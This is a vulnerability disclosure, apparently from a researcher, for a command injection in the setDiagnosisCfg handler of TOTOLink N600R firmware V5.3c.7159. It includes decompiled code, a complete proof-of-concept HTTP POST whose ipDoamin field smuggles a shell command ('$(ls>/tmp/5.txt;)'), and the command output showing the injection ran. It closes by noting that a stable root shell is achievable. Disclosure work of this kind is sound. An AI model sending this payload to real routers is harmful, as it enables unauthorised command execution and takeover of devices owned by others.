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# TOTOLink N600R V5.3c.7159\_B20190425 Command injection vulnerability

## Overview

- Manufacturer's website information: <http://www.totolink.cn>
- Firmware download address : [http://www.totolink.cn/home/menu/detail.html?menu\\_listtpl=download&id=2&ids=36](http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36)

## 1. Affected version

| 编号 | 标题          | 版本                      | 上传时间       | 下载  |
|----|-------------|-------------------------|------------|---|
| 1  | N600R升级过渡版本 | V5.3c.7159_B20190425    | 2021-07-17 |  |
| 2  | N600R升级固件   | V4.3.0cu.7647_B20210106 | 2021-07-17 |  |
| 3  | N600R数据手册   | Ver1.0                  | 2021-08-10 |  |

Figure 1 shows the latest firmware Ba of the router

## Vulnerability details

```
1int __fastcall setDiagnosisCfg(int a1, int a2, int a3)
2{
3    const char *v6; // $v0
4    char v8[132]; // [sp+18h] [-84h] BYREF
5
6    memset(v8, 0, 0x80u);
7    v6 = (const char *)websGetVar(a2, "ipDoamin", "www.baidu.com");
8    sprintf(v8, "ping %s -w 4 &>/var/log/pingCheck", v6);
9    CsteSystem(v8, 0);
10    return websSetCfgResponse(a1, a3, "0", "reserv");
11}
```

The content obtained by the program through the ipdoamin parameter is passed to V6, and then the matched content is passed to V8 through the sprintf function, and then V8 is brought into the cstesystem function

```

1 int __fastcall CsteSystem(const char *a1, int a2)
2 {
3     int result; // $v0
4     int v5; // $s0
5     int v6; // $a0
6     _DWORD *v7; // $v0
7     int v8; // [sp+18h] [-1Ch] BYREF
8     int v9[6]; // [sp+1Ch] [-18h] BYREF
9
10    v8 = 0;
11    if ( a1 )
12    {
13        v5 = fork();
14        result = -1;
15        if ( v5 != -1 )
16        {
17            if ( !v5 )
18            {
19                v9[0] = (int)"sh";
20                v9[1] = (int)"-c";
21                v9[2] = (int)a1;
22                v9[3] = 0;
23                if ( a2 )
24                    printf("[system]: %s\r\n", a1);
25                execv("/bin/sh", v9);
26                exit(127);

```

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V5.3c.7159\_B20190425
2. Attack with the following POC attacks

```


POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

```

```
like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close
```

```
{"topicurl":"setting/setDiagnosisCfg",
"ipDoamin":"test.com$(ls>/tmp/5.txt;)"}
```

The reproduction results are as follows:



```
# ls /tmp
1.txt
2.txt
4.txt
5.txt
bridge_init
cloudFwStatus
cloudPluginStatus
# cat /tmp/5.txt
bin
dev
etc
home
init
lib
lighttp
mnt
proc
sys
tmp
usr
var
web_cste
```

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell